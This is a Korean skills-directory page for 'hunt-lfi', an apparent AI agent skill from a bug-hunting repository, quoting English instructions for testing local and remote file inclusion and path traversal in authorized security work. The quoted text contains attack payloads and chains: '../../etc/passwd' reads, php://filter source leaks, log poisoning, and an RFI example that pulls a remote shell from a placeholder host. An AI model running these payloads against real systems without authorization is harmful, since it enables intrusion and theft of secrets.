본문으로 건너뛰기
Skillpedia
보안5.4k · #14919

hunt-lfi

하는 일

이 스킬은 웹 앱에서 로컬 파일 포함, 원격 파일 포함, 경로 탐색을 테스트합니다. 사용자 입력에 따라 파일을 불러오는 페이지를 허가받아 테스트할 때 사용합니다.

사용하는 경우

  • ✓페이지가 파일 이름이나 경로를 매개변수로 받을 때.
  • ✓PHP 사이트가 사용자 입력에 따라 파일을 포함할 때.
  • ✓서버가 설정 파일이나 키 파일 같은 민감한 파일을 반환하는지 확인하고 싶을 때.

스킬 링크

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-lfi/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-lfi/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“저희 PHP 페이지는 file 매개변수를 받습니다. 허가된 테스트에서 폴더 밖의 파일을 읽을 수 있는지 확인해 주실 수 있나요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 경로 탐색과 PHP 래퍼 기법을 시도한 뒤, 서버가 요청한 파일을 반환하는지 확인합니다. 민감한 파일 읽기와 코드 실행으로 이어질 경로를 보고합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

HUNT-LFI — Local / Remote File Inclusion & Path Traversal

Crown Jewel Targets

LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (.env, wp-config.php, private keys, cloud creds), Medium when it only reads non-sensitive files.

Highest-value chains (in rough order of reliability in 2026):

  • PHP filter-chain → RCE — the modern default. A bare php://filter file-read primitive is upgraded to RCE with no upload endpoint and no writable file by chaining iconv conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.
  • Log poisoning → RCE — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by open_basedir and unreadable log perms, so verify the log is readable first.
  • PHP wrappers → source disclosure — php://filter/convert.base64-encode/resource=index.php leaks source; read source to find more LFI sinks, secrets, and the include base path.
  • RFI → RCE — when allow_url_include=On, ?file=http://OOB/shell.txt pulls and executes remote code. Rare on modern configs but trivially Critical when present.
  • phar:// deserialization — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
  • zip:// / data:// chains and session/upload poisoning when filters block wrappers.

OOB / Blind-LFI Confirmation Gate (Read First)

LFI is frequently blind: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do not claim LFI from indirect signals alone.

What is NOT confirmation

  • A different status code or error string for ../../etc/passwd vs a normal value. The app may be string-matching ../ and returning a canned 403/500 without ever touching the filesystem.
  • Your input echoed back inside an error message (e.g. failed to open '/var/www/../../etc/passwd'). That is the path formatter, not proof the file was read. A genuine read shows file contents, not your path.
  • A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.

What IS confirmation

  • Direct read: actual file contents appear (real root:x:0:0: line, real PHP source after base64-decoding the filter output).
  • Blind read via OOB exfil: use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your Burp Collaborator subdomain, or use an expect:// / wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran.
  • Blind read via differential/timing: include a file you know exists and is large (/etc/passwd) vs one that does not (/etc/passwd_nope_<rand>). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.

Default workflow

  1. Pick a unique marker target: prefer a file whose content you can fingerprint exactly (/etc/passwd → grep ^root:). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source.
  2. Generate a sub-tagged Collaborator payload per sink (lfi-page.<collab>, lfi-tpl.<collab>) so callbacks identify which parameter fired.
  3. Send, wait 30–120s, poll OOB.
  4. Claim LFI only after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted.

Attack Surface Signals

URL / Body Parameters

?page=  ?file=  ?path=  ?template=  ?view=  ?lang=  ?module=
?include=  ?doc=  ?load=  ?read=  ?content=  ?theme=  ?layout=
?component=  ?download=  ?img=  ?pdf=  ?report=  ?style=  ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}

Technology Stack Signals

Signal Vector
PHP (X-Powered-By, .php, PHPSESSID) php:// filter-chain RCE, phar://, zip://, data://
Apache/Nginx logs readable Log poisoning → RCE (verify readability first)
Apache 2.4.49 / 2.4.50 (Server: banner) CVE-2021-41773 / CVE-2021-42013 traversal → RCE
PHP-CGI on Windows (XAMPP, php-cgi.exe) CVE-2024-4577 arg-injection → RCE
Java servlet (/WEB-INF/) WEB-INF/web.xml, classes/, application.properties
Pyth
자주 묻는 질문

경로 탐색이란 무엇인가요?

../ 같은 순서를 경로에 넣어, 의도한 폴더 밖의 파일에 접근하는 것입니다.

PHP 필터 체인이란 무엇인가요?

업로드 없이도 파일 읽기를 코드 실행으로 바꿀 수 있는 기법이라고 스킬은 설명합니다.

심각도는 어떻게 판단하나요?

스킬은 .env 같은 비밀 파일을 읽는 것은 영향이 크고, 민감하지 않은 파일을 읽는 것은 영향이 작다고 설명합니다.

상세 정보

작성자의 원본 설명

Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target.

repo: elementalsouls/Claude-BugHunter

인기도

GitHub 스타
5.4k
순위
#14919
라이선스
MIT
업데이트
2026. 11. 2.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬